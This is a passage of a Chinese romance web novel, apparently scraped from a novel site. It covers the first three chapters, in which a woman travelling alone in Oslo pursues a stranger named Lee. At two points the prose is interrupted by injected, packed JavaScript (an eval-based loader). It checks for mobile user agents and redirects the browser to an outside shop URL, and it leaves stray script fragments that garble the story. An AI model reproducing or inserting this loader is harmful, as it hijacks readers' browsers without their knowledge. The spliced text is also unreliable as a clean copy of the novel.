《离航》 1. 001 11月20日,早晨七点,梁宛抵达奥斯陆。 天空还是一片泼了墨的深蓝色,太阳没有升起。 入境取完两箱行李后,她蹲在机场角落的柱子边,捣鼓早早从某网购软件上买的流量卡。重启手机断开机场wifi后,工作群里的消息开始不停弹出。 成功了。 她长舒一口气,摁灭手机屏幕。 没有人需要她报平安。 新买的抹茶色旅行箱已经被摔出黑色的划痕,梁宛弯腰有些心疼地摸了摸它。中看不中用。可她偏偏就喜欢好看的东西。 抬头看了眼窗外的天,雪在灯光中慢速落下。 要不是为了雪景,她也不愿在冬天出行。厚重的衣服将行李箱堆得满满当当,往身上一穿,把人裹成一只熊,行动还不便。 但她也不喜欢夏天就是了。 她很挑剔。 作为一个不喜欢做计划的人,梁宛这才开始查询去民宿的交通,用她仅会的一门外语与人沟通,找到了火车站。但找Vy售票机花费了她不少时间。折腾完坐上火车,已经是中午。 尽管这里的“中午”天还未亮。 这个时间的火车上人不算多,扫视一圈,亚洲面孔并不少,多是游客。 梁宛不擅长分辨不同国家的人,不过她倒是听见了有几个人在用日语交谈,只是听不懂。 不断行驶的火车掠过无数风景,但在黑夜里,梁宛只能看见它们模糊的轮廓。她往车窗上吹了一口气,用指尖写下:LW。 再平静地看着它消失。 雪夜很安静,这里也没有人认识她,一切的浮躁都被列车与轨道摩擦的声音抹去。 没有人认识她,意味着她也可以做任何事。只要不触碰法律底线,即便丢脸,等她回国,这一切都会翻篇,成为她人生中不足为道的插曲。 梁宛弯了弯唇,删除之前收藏的丹麦精/子库信息。她还是想面对面挑选,想体验一次,尽管这对对方来说会有些不厚道。但——就请允许她循规蹈矩的人生里,有一次偏离航线的错误。 经济舱的位置对长途飞行来说逼仄狭小,她的腰痛得根本无法入睡,此刻身体受窗外黑夜的影响,更是乏力。梁宛浅浅打了个盹,醒时已到市中心,天色也逐渐明亮。她飞快地拖着两个行李箱跃下火车。 拿出手机正准备查询下一步,这才看见徐菲林发来的五条消息,没有一条不是关于工作的。 梁宛深呼吸,打下一行字。 「Alice姐,我在休年假,这个项目的所有事情我都已经和Ben交代清楚了。」 她想说不要打扰她的休假,但斟酌再三,还是软了语气。 「我4号回来。如果Ben还有不清楚的地方,可以再问我。不过因为时差关系,我可能无法及时回复消息。」 梁宛在最后补上一个emoji笑脸表情,丝滑切换到地图开始导航。换乘一次地铁后,她终于抵达民宿,手已经有些脱力。 老旧的民宿没有电梯,无尽的旋转楼梯窄小,走到四楼时,梁宛已经有些喘不过气,忙摘了围巾大口吸气。 好在民宿很干净,不用与房东碰面。订购时没有单人房的选择,于是房间里有两张床,空置的那张正好让她堆一些衣物。地段也好,拉开窗帘就能看见街对面的地铁站,拐个弯就是一整条商业街。 梁宛倒在床上,无比想睡觉。 但她看见窗外的天开始蒙蒙亮起,太阳还未越过地平线,光就将整片天空都染上黄色。 梁宛知道,她如果现在睡过去,再醒来恐怕就是晚上,时差无论如何也倒不过来了。想到这,她弹坐起来,扫了一眼手机。 徐菲林回复:「忘了忘了。记得多拍点照,带点纪念品或者男人回来。」 梁宛笑了笑,若有所思。 奥斯陆在晨光中逐渐显露其面目。 她看过挪威旅行推荐,大多都说奥斯陆颇为无聊,城市风光在欧洲也不算独特美丽,周边尚有些不错的徒步点。 日出后下了一夜的雪变成了雨,天空阴沉沉的,算不得好天气。 但这些都没有影响梁宛的心情。 她这次来挪威,比起看风光,还有其他意图。 梁宛洗了把脸让自己清醒,换了件短款白色羽绒服和直筒的黑色加绒冬裤,穿了双来这里之前刚买的雪靴。 有点冷,但她也要难得地顾着风度,为了她此行的目的。 雨水融化地上的积雪,变得泥泞难堪,梁宛撑着伞勾着脚趾,走得很慢。 下雨天让本就不多的行人变得更少,她背着相机,选取些别致的景色记录。 十一月底的日落时间很早,梁宛边走边搜攻略,决定在日落之前去一趟蒙克美术馆。 梁宛虽然不爱做计划,偶尔也丢三落四,但已经习惯了一个人旅游,除了非洲、南美洲和南极大陆还未踏足过,她都已经独自走过一遭。她的方向感很好,懂得变通,陌生的城市对她来说并不难走。 这陌生感反而令她感到安定,和一种可以短暂逃离现实的快意。 她的旅行一直很随性,没有太多的精力去打卡。听闻《呐喊》因颜料原因正在褪色,美术馆无法将其全天展出,只能每半小时展出一幅,梁宛见到的是石版画,她拍了一张照,便不等其他版本了。 对于生命中很多事,她都是顺其自然的态度。 没有学过艺术的梁宛对这些作品只有最纯粹和朴素的欣赏,理解并不深刻。 从美术馆出来,天色将暗。 梁宛看了一眼时间,意识到她在这里逛了三个小时。 她匆匆查询奥斯陆值得一去的酒吧,发现有一家叫做HKOK的酒吧就在民宿附近,据说是世界排名前十的酒吧。 梁宛对酒吧的了解很少,仅限于去云南旅游时,在丽江古城驻足过的一间。当时她点了一杯最便宜的鸡尾酒饮料,坐在靠窗的位置,看着被雇佣的气氛组把座位让给真客人,一个个卖力跟着音乐蹦迪。她不懂那样的乐趣,喝过几次酒,也始终不能感受其魅力。 HKOK没有显眼的招牌,入口只一个狭小的木门。 梁宛一边感叹如今社交网络搜攻略的便捷,一边收起滴着雨珠的伞打开门。 酒吧里面的空间并不大,昏暗的灯光与窗外渐暗的天色交织融合。 醇厚如酒的女声轻轻哼着曲调,唱片机不停旋转着。 里面的人大多坐着,用不高不低的声音交谈。 梁宛快速扫了一圈在场的男士,顿了几秒,垂眼为自己不纯的动机感到一丝羞耻和内疚。 门边的一位女士笑着用英语告诉她:“你很幸运,再晚一点就要排队了。” 梁宛微笑道谢,在一列酒名中选择了一个看起来友好的——Cloudberry,在剩下的两个位置中选择了角落里靠墙的。 她留意到酒吧里的男士只有三位是独自前来,还有两人是和男性朋友。有两位模样不错,身高大约也不低,虽然他们此刻坐着。只是不知道性格是否容易接近,也不知道有无家族病史。 她惯性地将工作时分析利弊的状态延伸过来。 到实践的时候了,梁宛才发现之前预想中的行动对她来说十分困难。她以为自己可以借着酒精上头,冲动地把这事完成,风流一回。可半杯鸡尾酒入肚,身体微热,她却仍旧没有感受到半点冲动,理性完全占据了她的大脑,不断打着退堂鼓。 这太荒谬了不是吗? 三个月前,她去看了心理咨询师。是的,即便她表面不说,但她内心一直渴望一段亲密关系。换句话说,她是想要恋爱的,但却无法做到。 她不是没有对男人产生过好感,但那种好感都在与对方关系拉近时消失殆尽,她本能地觉得“还不够”“她还不确定是不是他”。 心理咨询师说:“你不会处理亲密关系。” 这很难改。 她的性格,来自于她成长路上的每分每秒。 她今年二十八岁,而此前她主动过的对象只有一位,是一见钟情。在对对方一无所知的时候,她感觉到全身血液冲上大脑,带着扑通扑通的心跳靠近对方,询问其联系方式。结果并不意外,对方拒绝了她的要求。冷静下来后,她自己也觉得甚是荒谬。只不过是大街上的惊鸿一瞥,对方恐怕觉得自己是个疯子。 但那样跳脱的行为发生在她大学时,如今再也不会了,甚至于连那个人长得什么样她都已经不记得。 即便是现在,她想要冲动的理由也不过是她想要有个孩子。 梁宛接受了自己这一辈子或许都不会有伴侣这个事实,她反而豁然开朗了。 她从不觉得孩子是人生中必要的,但她静静思考了一个月,意识到自己还是想要拥有一个可以爱的人。她希望她的生命里有一个联结,而不是孤立无援。 梁宛对自己是诚实的,明确知道自己的缺点和特点,比如说她是害怕孤独的。但她无法降低自己对爱情的标准,无法选择和一个不够爱的人共度一生。 她知道现在女性一个人也可以拥有孩子,譬如说利用精/子库。梁宛搜寻了不少资料信息,看中了丹麦的精/子库,一整套流程下来的费用虽有些昂贵,但也能接受。 可梁宛怕针,更是害怕那长得过分的取卵针。也无法从一片冷冰冰的照片或文字描述中抉择。 她不是一个低欲望的人,此前一直自我解决。 梁宛想,不如去没有人认识的地方疯狂一次。 酒吧的门又一次被推开,街上的冷风再次灌入。梁宛顺着那个方向抬眼看去,新进来了一对男女。她垂下眼眸,盯着酒杯顶端几乎消散的云。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977424|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 今天还是算了吧,这才第一天。 她起身正要走,眸光掠过木门那一隅,身形忽然顿住。 门边角落竟还有一个座位。 单独的旧绿沙发,一盏昏黄的台灯,被一株绿植隔开的空间。 孤岛般的位置,仿佛在说不想与人交流。 那是一个亚洲面孔的男人,更确切些说是东亚面孔。以梁宛的角度看去,他微微侧着脸,眼窝比一般亚洲人深邃些,是混血吗?他低着头,桌上摆着一杯蓝色的鸡尾酒,细边的眼镜架在高挺的鼻梁上,视线凝聚在面前的电脑上。在这里还要坚持工作,梁宛不禁感同身受。 他的度数应该不高,透过镜片的五官几乎没有变形。 梁宛曲腿,重新在位置上坐下,食指无意识缓缓刮蹭着酒杯边缘。 她是一个很相信直觉的人。这个男人令她觉得安心,可同时有又不可言说的危险,这种感觉很朦胧。 他的双眼皮很好看,扇形细窄,垂眼时显露得多一些,透着些慵懒。睫毛很长,长得让她无法看清他藏在阴影中的眼睛。他的瞳孔会是什么颜色?黑色?琥珀? 梁宛不喜欢薄嘴唇的男人,没原因,就是不喜欢。这个男人的唇形生得极为好看,不薄也不过厚,只不过不笑的时候透着冷漠。 梁宛托起自己的下巴,定定看着。 他的下颚线也很完美,硬朗又不过分粗旷。利落的短发没有一丝拖泥带水,宽阔的肩膀撑起褪去外套后的黑色衬衣,她喜欢他的气质。 梁宛的目光不自觉在他身上游移。 他虽坐着,但她能从腿的弯曲判断他的比例。他应相当高,肩宽腿长,小腿比大腿更修长。只是沙发的扶手挡住了他的腰,不知道腰细不细?他的身上有少许健身痕迹,虽看不透,但一定不过分。梁宛不喜欢硬邦邦的块头,也不喜欢排骨精,她很挑。 梁宛觉得这个男人的身材应当正好符合她的审美,但黑色的衬衣透不出任何轮廓—— 她在做什么? 不知过了多久,梁宛恍然回神,慌乱收回目光,酒杯里的Cloudberry已经见底。她后知后觉地捂住头顶,羞耻感蓦然加深。 她刚才是对一个陌生男人进行了眼神骚扰吗?甚至对他产生了一些越界的想象? 她心虚地瞄了男人一眼,幸好没有被他发现,没有给他造成困扰。 梁宛捂了捂跳动过快的心口,起身往门口走去。 起初,她是想离开回到民宿。 走着走着,她放慢了脚步。 男人接起了电话,对方说,他安静聆听,面无波澜嗯了一声,开始阐述他的观念。 是德语吗?梁宛想。 不少人觉得德语念起来气势太足,有时显得凶狠。但她不觉得,男人的声音低沉自然,说起话来平静理性,很好听。 梁宛佯装拍店内的摆件与装饰,脚步在原地停留了很久。 男人结束了通话,重新将目光投向电脑。 他应当不是游客,从穿着到坦然自若的模样,都应该是住在这里的人,又或许是住在德国?也许是华裔?或者是有些许混血基因?又或者是韩裔日裔? 他有家族遗传病史吗?希望没有。 梁宛控制不住那近乎骚扰的想法。她决定在失控前快速离开这里。 关上相机,她快速拉开木门往外走。 “女士!” 酒吧里不知是谁忽然用英文喊住她,许多双眼睛朝她看来。 男人还在打字。 “外面在下雨,不要忘记你的雨伞。” 梁宛怔了怔,意识游离地回到酒吧内,找到刚才放雨伞的地方。 “谢谢,我记性不大好,总是会忘记东西。” “哈哈哈,其实你只要出去淋到了雨,就一定会想起来的。” 梁宛又朝那人道了一声谢,转过身。 木门,那个男人。 她闭上眼深吸了一口气,伸手去够木门的把手。 街上又冷又阴湿,从这里步行回去,她还需要在黑夜里走两刻钟。 但这没什么,奥斯陆的天气总是这样的,她应该习惯并接受。 别想了。 梁宛在大脑里不断地提醒自己。 木门唰一下被她拉开,冷风与斜飘的雨丝吹入,然后重新重重地合上。 酒吧内被风声掩盖的交谈声重新冒头。 “先生,冒昧打扰您。请问你有女朋友吗?” 伞还收在梁宛的身侧,没有展开,她站到了男人面前。 在挪威没有人认识她不是吗?反正她此行的目的本就不纯不是吗?不会有人知道她的名字,被拒绝也没有人会知道。 何况,这样的邂逅也许只有一次。 明天,后天,他也许都不会来这里了。 2. 002 门开了又关,两次。 风吹到他这里,扰乱了他的思绪。 周沥停下打字,未抬眼。 “没有。” 他略有些不悦,冷淡回答,指尖重新敲打起键盘。 梁宛紧绷着一根弦,全身血液都被调动汇聚。听到回答,她来不及让自己冷静思考,靠着此刻的冲动决心将问题问完。 “请问你有什么疾病或者家族遗传病史吗?” 周沥一个词未打完,手指停下,镜片后的眼帘微微上抬。 话问出口,梁宛就后悔了。 这实在是一个冒昧的问题,换作她是他,她应当已经生气了。 话已扔出,后悔也于事无补。梁宛只能硬着头皮伫在原地,心里默念着: 这里没有人认识我,这里没有人认识我。 不知道是酒精的作用,还是因为她羞耻得没地躲,梁宛的脸红得诡异,在台灯暖黄色的光里,愈发显眼。 周沥抬头打量起她,停在键盘上的指尖不动声色往回收了一点。 他没有说话的这段时间,梁宛觉得尤为漫长。她好像悬在蔚蓝的海中,四周仿佛空无一物,而她就快要憋气至死。 良久,眼前的男人开口。 “也没有。” 梁宛心里有些吃惊,对方竟然没有生气,也没有让她滚。 她下意识要问一句虎狼之词,但她忍住了。 她还有一件事要确认。 “你不是中国人吧?” 梁宛要确保她未来不会再和这个男人见面,不会有人忽然出现开始和她争夺孩子抚养权。 周沥不疾不徐看了一眼墙上的时钟,合上电脑。 他垂眸,若有所思,半晌笑了笑,反问她:“看着像吗?” 他说英语很好听。 梁宛的大脑有些过热,不太能组织清楚语言。尽管他们目前似乎已经搭上话了,但她完全不知道该如何把话题引向那件事。 “有一点像,但也有可能是韩国人或者日本人,或者是混血?” 这是她的期望。 她又说:“抱歉我不太会分辨不同国家的人。” 周沥点点头,仍旧用英语问她:“你是中国人?” “是……不完全是,我是泰国华裔,住在泰国。” 梁宛一本正经扯了一个谎,失控运行的大脑甚至编好了一个名字。 “我叫Mia.” 然后她就想到了一件事——万一对方让她说几句泰语呢?她毕生也只看过几部泰剧,哪怕学腔调也学不像。 幸好,眼前的男人只是点了点头,说着她的话说:“你可以叫我Lee.” “Lee.” 梁宛喃喃。 交换名字了。 然后呢? 她应该说什么? 她要怎么请对方帮她造个孩子才不会被请去警局? 来挪威之前预想的“你好请问方便和我上/床吗?”她根本说不出口! “Mia.” 梁宛攥着自己的手,还在苦恼。 “Mia.” 周沥又喊了一次。 梁宛回过神,应了。 他淡淡笑着看她,问道:“是在做社会调研?” “什么?”梁宛怔了下,随即反应过来他是指有关疾病的问题,“不是……” 周沥抬了抬眉梢,极具有引导性地说:“那是——?” “满足我的个人好奇心……?” 梁宛的语气不太有底气,自己也对这个回答充满怀疑。 周沥侧了侧头,没有追问,但嘴角似有若无的笑意无疑是在告诉她——他不信。 梁宛沉默了,看着周沥收拾桌上的东西,大有要离开的架势。 她在心里默念她和这个男人以后不会见面了。 “你介不介意……foronenight……” 梁宛越说声音越小。 周沥的动作一顿,抬起头似笑非笑,“你说什么?” “你有时间吗?我们换个酒吧再喝几杯?” 酒壮怂人胆。 梁宛是这么想的。 周沥收拾完东西,淡淡道:“抱歉,我不想喝醉。” 梁宛舔了舔因紧张而干涩的嘴唇,“今天是我第一天到奥斯陆,你要是有时间的话可不可以……” “那你就更不应该邀请一个陌生人,”周沥执起一柄黑伞,“知人知面不知心,Mia,你的戒备心不够。” “……” 知人知面不知心。 人面兽心的分明是别有意图的她。 梁宛暗自腹诽。 周沥推开木门,黑伞同步撑开,降落中的雨珠被伞面弹开。 梁宛凝视着他的背影,看着他迎着风雨离开。 不知道是不是幻听,风雨交杂中,她好似听见了一句: “Foronenight不是我的风格。” - 行尸走肉回到民宿的梁宛躺在床上,直愣愣地看着天花板上的雕花。 她不知道自己心里的憋闷是因为被拒绝的丢脸,还是因为今后再也见不到这位难得让她心动的男人。 但梁宛有种不好的预感,她此行的目的也许无法达成了。 晚上她做梦了,梦见那个叫Lee的男人。 梦境缺乏逻辑,场景换了一个又一个,有她从未参加过的舞会,有她从未见过的卧室,光怪陆离。然而每一个场景中,她和Lee都在做同一件事。 一场春雨把梦境浇灌得潮湿粘腻。 急促的敲门声打断了这个不切实际的梦。 梁宛惊醒,背后的床单被汗水浸得有些潮润。她后知后觉意识到,刚才半梦半醒间,她本能地不想结束这个梦,用有限的可控意识续写那虚假的世界。 “你好。” 拉开门,门外是房东太太,一头银发,气质清雅。她见到一头蓬乱的梁宛,有些惊讶。 “抱歉打扰你休息了。我只是想告诉你我买了一些新鲜的牛奶在冰箱,如果你想喝可以自己取。厨房还有吐司和几种果酱,麦片在柜子里,这些都是免费的。” 梁宛拨了拨凌乱的发型,对房东太太表达了两百分的感谢之情。 抬头看时钟,竟然已经下午一点了,窗外的天被阳光照得透亮,是这个季节难得的好天气。 她在奥斯陆的第二天,竟然在睡梦中耗费了大半,再过不久太阳就要落下。 梁宛快速冲了个澡,出门觅食。 其实她并不饿,沿着街区慢悠悠地走,最终找了一家装修合眼缘的餐厅。她走在街上的时候,就透过巨大的落地窗看见了里面的一架钢琴。 只可惜钢琴有些陈旧,无人弹奏。 梁宛在服务员的推荐下点了两样招牌菜。 等待的过程中,她快速看了一眼工作群,一切正常。 除此之外,谢晚馨与梁宛最近也常联系。谢晚馨是梁宛的高中同学,关系不算是很亲密,但也时不时会热络地聊上几句。倘若是谢晚馨主动找她,那多半是因感情又出现危机了。 谢晚馨在感情中是患得患失的类型,想得多,苦恼也多。她常常不甘心,却又舍不下。梁宛只当她发泄情绪的树洞,在浑水里轻轻搅两下。 「宝宝,我和你说。逸程昨天生日,我陪他看新上映的好莱坞电影,晚上请他吃日料,给他买了一条八百多的领带。全程气氛都很好,晚上也开了一间房。结果我们做的时候一直有电话打进来,前几次他没接,第三次还是同一个人又打来了。我能听见对面是个女人的声音,后来他很仓促地就结束,把我送到地铁站让我回去。」 「昨天我没有说什么,但现在越来越觉得不是滋味。女人的声音很年轻,我没法不多想。但我之前答应过他不会再怀疑他,不过问这些事。」< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12977425|136974||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>类似的事已经发生过很多次。 梁宛的回答和以前一样。 「与其自己郁闷,不如迂回地问问他。答案你能接受就好,不能接受就分。」 「哎我怎么总是问你这个母单……你太冷静了,不懂感情使人盲目。」 梁宛放下手机,短暂失神。 服务生端着她点的一大张薄脆披萨来了,又给了她一个装满冰块的杯子,和还未开封的罐装可乐。 拿起披萨刚咬了一口。 “下午好,先生。” 冷清的店里新进来了一位客人,梁宛本能地往门口看了一眼。 她动作一顿,松开捏着的披萨。 是昨天那个叫Lee的男人。 透过落地窗,梁宛后知后觉这里距离昨夜的酒吧很近,在同一个街区。 这么说,他就住在这附近? 男人也看见她了,进门后脚步还分毫未动。 是因为发现她这个骚扰犯在这里,想换一家店不成?想到昨夜说的话,梁宛顿时觉得披萨噎在嗓子里,难受得很。 她想低下头,但是又忍不住抬起眼打量男人。 他还在那里没有走。 今天的他比昨天休闲一些,头发更蓬松,柔和了他眉眼间的冷厉。 以为只有一次的邂逅,迎来了第二次。 “Lee。” 梁宛无知觉地捏紧了手,尝试性喊了他的名字。 “嗯?”周沥侧目,看她的同时向前走了几步。 “披萨我一个人可能吃不完,我还点了意面……你要不要一起吃?”梁宛清了清沙哑的嗓子,“两个人一起可以再点一个菜,我请你。” 周沥垂眸看向已被撬走了一块的披萨,“你对陌生人一直这么热情吗?” 梁宛嗓子痒得呛了一口。 她不是对陌生人热情,只是对他贼心不死。 “是啊。” 她挺直了背脊,尽量落落大方地回答他。 上方的圆形射灯发出暖色的光,落在梁宛的睫毛上,她眨眨眼,眼底的阴影就如同鸟振动翅膀忽闪。 她的脸平整紧致,顶光对她来说也不死亡。 比起昨晚见面时那稍显生疏的妆面,她今天不带目的的素面更藏不住她的心事。到锁骨的中长发散落在肩头,不自然的折角还留有方才扎过头发的痕迹。 周沥沉默凝望她,目光从那双不直视他的眼睛,缓缓移动到她微笑的嘴角。 “很抱歉,”过了许久,周沥沉声道,“我不是随便的人。” 梁宛的笑容瞬时僵在脸上。 言外之意,她很随便。 可他似乎又没有说错。 结合她的目的与行为,梁宛也没法为自己开脱。 但她其实也是个颇有脾气的人,听出对方语气中少许的嫌恶后,她抬了抬眉梢,反而收起了怯生生的心态。 “是吗?那怪我看走眼,这两日多有冒犯了。” 她不顾及形象,拿起刚咬了一口的披萨,囫囵塞进嘴里,嗞拉打开罐装可乐仰头喝了一大半。 “你好,麻烦给我打包。”梁宛对服务生说道。 话音落下后,店里除了打包盒发出的刺耳声响外,静谧无声。 梁宛抬头看了看Lee,摊手示意,“这么多空座,你随便坐,我马上就走。” 她刻意加重了“随便”二字。 诚然,她没法反驳他说的事实,但这不是什么好听的话。说来说去,对方不过是个陌生人,也不会和她发展短暂的肉/体关系。等她从这件餐厅的门走出去后,再也不会见面了,她没有必要还端着笑脸。 周沥颔首,只字未语,垂着一双淡漠的眼睛在隔壁桌坐下。 梁宛深深吸了一口气,又叹气。 可惜。 这么符合她取向的男人不多见。 她为他无法成为自己的猎物而遗憾。 3. 003 Irish 抵达奥斯陆的第三天,拉开米白色蕾丝窗帘,见到光的眼睛忽感酸涩。梁宛用力眨了眨眼,面前的视野从红橙的一片逐渐变得清晰。 碧蓝的天躲在团团棉絮似的云层身后,屋顶上、树枝上、道路上,尽是洁白的积雪。 蜷在窗帘阴影中的梁宛静静望着窗外,很久很久,久到萦绕在眼周的酸涩褪去,惺忪的睡眼完全清醒。 大雪过境后的晴天,明媚非常,直视竟有些刺眼。 这间民宿她只订到明晚,过了明晚住在哪她还没有想好,随波逐流。 她应该去瞧瞧别的城市,可她只觉得疲惫,旅游也不像个样子。接连三天,她都睡到日上三竿,和太阳的照面十分短暂。梁宛不禁想,是时差还未倒过来吗? 她放下手机,揉了揉眼。睡觉之前再决定吧。 梁宛简略洗漱后,从行李箱中拿出一条薄荷色的羊毛围巾。围巾很柔软,看得出来洗的次数颇多,边角上横生出几不可察的杂乱细丝。 这是她多年前收到的生日礼物。 接连试了几个系结的方式,梁宛最终又换回最初的。 薄荷色拢着披散的黑发,像个蘑菇。 梁宛笑了笑。 送她礼物的人没说错,薄荷色显白。只是那个人有了新的孩子,再也没有主动和她联系。 从狭窄曲折的楼梯往下走时,梁宛在想Hkok酒吧。 是她选错了地点吗?Hkok里的人都很正经,品酒、闲谈甚至办公。那里的人对她的邀请感到唐突和冒犯也是正常的。 脚步一顿。 可她也不想去混乱的地方,怕染一身病,得不偿失。 梁宛是很拧巴的人。 嘴上总说着谁都可以,却比任何人都看中爱情的感觉。若是没有感觉,即便对方条件再优秀,她再劝说开导自己,她也跨不出最后一步。 老同学归国见面时劝过她,不用管对方是不是渣男,就当是练习,随便谈一次,积攒点经验。梁宛口头上答应了,可也只是口头上。 漫无目的走在街上,雪地靴踩着雪发出嘎吱嘎吱的声响。雪晴天好似蒙着一层天然滤镜,镜头对准风景,按下快门,不用修图即是成片。 回到民宿附近街区的时候,已经是傍晚四点,太阳刚落下,天空中还留有一丝余光。 梁宛带着空空如也的肚子走进一家咖啡厅,买了一个烘焙小点,连接wifi戴上耳机后,接起谢晚馨给她的视频电话。 “还没睡?” 梁宛压低声音说,咬了一口面包,抬眼看屏幕。国内应该是凌晨。 “嗯,”谢晚馨穿着一套水蓝色的睡衣,抿着嘴有些娇羞,“我和逸程和好了,他刚走。” 梁宛习惯了,并不觉得意外。 仗着身在挪威没有人听懂中文,她说话也直白。 “戴套了吗?” 谢晚馨愣了一下,“哎你也太直接了……戴了啦。” 梁宛的表情没什么波澜,点点头,又咬了一口面包。 谢晚馨从来不避讳和她说这些,梁宛不感兴趣,只当个听众。唯独一点,梁宛很在意。 与自己不同,谢晚馨并不想要孩子,但她的男朋友曾多次提出过不想戴套的要求,她深感困扰。梁宛虽然还没有和这个叫李逸程的人见过面,对他的印象已经降至冰点。 刚放心,怎料谢晚馨又说:“前面都戴了,就最后蹭蹭的时候没有,应该没事。” 梁宛一滞,抬起头严肃道:“吃颗药。” “哎呀你别这么吓人,又没有完全进去,不会怀的。” “晚馨,只要有流入的就有可能怀。” 谢晚馨滞了滞,有些后怕,但转念一想,“你怎么一副老司机的样子,你明明什么经验都没有吧,还在这里教我。” 她失笑,揶揄道。 梁宛知道她又没听进去,深吸了一口气,无奈笑了笑。 “实践零分,但我理论满分。” 谢晚馨不想在这个话题上继续深讨,问起奥斯陆的风光,梁宛给她看了些相机里的照片,聊了大约一刻钟才挂断。 梁宛也不听别人的建议,所以她并不会有恨铁不成钢的想法。每个人都有自己的个性,她和谢晚馨都是不撞南墙不回头的类型。 她只希望撞南墙的时候,不要到无可挽回的地步。 面包吃完后,咖啡还剩下半杯。 梁宛摘下耳机仰靠在沙发上看窗外。 来到远离现实的地方后,她的内心格外平静,除了见到那个叫作Lee的男人时,其余时间是毫无波纹的水面。淡淡的孤独和空虚飘在她的心里,她很喜欢这种感觉。 忙碌生活的反面。 “女士,你是中国人吗?” 梁宛转头,看见一个浅发高鼻梁的北欧人笑脸盈盈地看着她。是当地人?颇为英俊,穿衣风格像是杂志里走出来的模特。 “是的。”她答道。 “我之前去过北京和上海,学过几句中文。” 梁宛面颊微红,刚才的话他都听懂了? “会说你好、谢谢、这个多少钱。”对方道。 梁宛舒了一口气,那应该听不懂。 “你是来旅游的?” “嗯。” “你从北边过来?” “不,奥斯陆是我的第一站,我打算往北边走。” 一问一答,不知持续了多久。 男人说:“你很漂亮。” 梁宛抬起眼帘,“谢谢,你很英俊,像模特。” “你的眼光很准,我的职业就是广告模特。” 这是搭讪? 她无法判断对方出自真心,或是有yellowfever。 梁宛忽然想到Lee,哑然失笑。 那个男人会感到冒犯和疑虑实属正常,她现在也如此。 但她此次的目的并不单纯,所以对这个北欧人尚有些耐心。她静静打量对方,思考是否要把他作为猎物。 平心而论,他没有让她产生任何冲动。和那个男人不同。 但Lee已经拒绝她,如果她不想空手而归,是否该退而求其次? “你……”梁宛有些犹豫,“你健康吗?” “什么?” 对方没有理解她的疑问,但依旧咧着嘴越坐越近。 梁宛转头对着窗外深呼吸了一次,在心里给自己打气。 半晌,她回头说:“要去喝杯酒吗?” 没有酒精,她无法昏头,也就无法忽略自己心底里的勉强。 对方欣然答应。 她看着他,眉头的结解不开。 没关系,只是喝一杯酒,只是聊天罢了。 她还有退路。 梁宛端起咖啡准备一饮而尽。 杯子才被抬起,一只骨骼分明的手盖住了杯口。修长匀称的手指扣着杯沿,手背上一条一条显眼的青筋跃在梁宛眼前。 梁宛下意识吞咽了。 抬起头,Lee站在桌前,居高临下地望着她,等到她的视线完完全全与他相撞。 “原来谁都可以。” 他面无表情。 男模特不明白眼前的状况,瞧了咖啡杯几次,梁宛久久未说话,他便对忽然出现的陌生男人说: “你是谁?请不要打扰我和这位女士。” Lee看着梁宛,不动声色施力按下咖啡杯,梁宛还捏着杯柄。Lee的指尖无意地触碰到她的指侧。 她垂眸,有短暂的出神。 “Mia,和我喝酒,还是和他?” 周沥松开扣在被子上的手,冷冷问了一句。 梁宛挎着包,看向他的眼神带着疑问。 她漠视了身旁男模特的眼神,看着Lee,定定说道:“我的动机不纯。” 周沥答非所问:“选一个。” 他的语气显然已经失去耐心。 梁宛吞咽了一回,尽可能忽略到自己逐渐发烫的身体,她对男模特说:“抱歉,他是我的朋友,我和他有些事要说,不能和你一起喝酒了。” 她对Lee是有一些怨念的。 但这仅仅只有十几天的旅程,她不想被自己的脾气绑架,梁宛决定抛弃腼腆和放不下的脸面。 Lee出现在这里的时候,她就知道自己的心偏向谁了,那根本没有可比性。 他对她有种源自本能的吸引。 既然他给了机会,一二不过三,梁宛无论如何也不想错过。 男模特皱起眉头,笑容一收,“什么?我们已经说好了,你这个女人怎么……” 周沥端起桌上的杯子递给走过来的店员,沉沉道:“警察在过来的路上,你该想想如何解释这杯咖啡里的东西。” 男模特脸色忽变,还没起身,已经被两个店员按住。 梁宛错愕地看了他一眼,扭头望向Lee。 她是个警惕心很强的人,但她没有料到就在她瞥向窗外的短短时间内,就有人在咖啡里动了手脚。 她反思了一下,她总是喜欢给场所加上标签符号。比如说在酒吧、派对她就会紧盯自己的酒水,而在咖啡店,她就疏忽了这一点。 “去哪里喝酒?” 梁宛起身,和Lee并排站着。 周沥看了她一眼,“Hkok。” “能不能买点啤酒去我的住处喝?” 梁宛不再拐弯抹角,这已经是第三天了,也是见的第三面。 周沥落在口袋里的手紧了紧,侧目瞧她,无言的审视穿透她那双看似纯净的眼睛。 梁宛没有闪躲,直视刺眼的太阳那般直视他。 她想和他度过一夜,然后再也不见。 “不能。” 冷厉的拒绝。 不算意料之外。 梁宛莞尔,“那就Hkok吧。” - 金色的光彻底消失在天幕,整个世界陷入蓝调。 冷色光线映着Lee的侧脸,使他看起来淡漠得很有距离感。 梁宛和他走在街上,他的步调不算快,也许是在配合她,总之几乎与她平行。 可这样,她反而很难观察他。 她减慢了步调。 周沥的脚步微顿一瞬,然后继续刚才的速度前行。 梁宛跟在他的侧后方,不加掩饰地观察他。 她的眼神和太阳相比,有过之而无不及,周沥无法忽视。 Mia喜欢坐在窗边,昨日和今日都是。 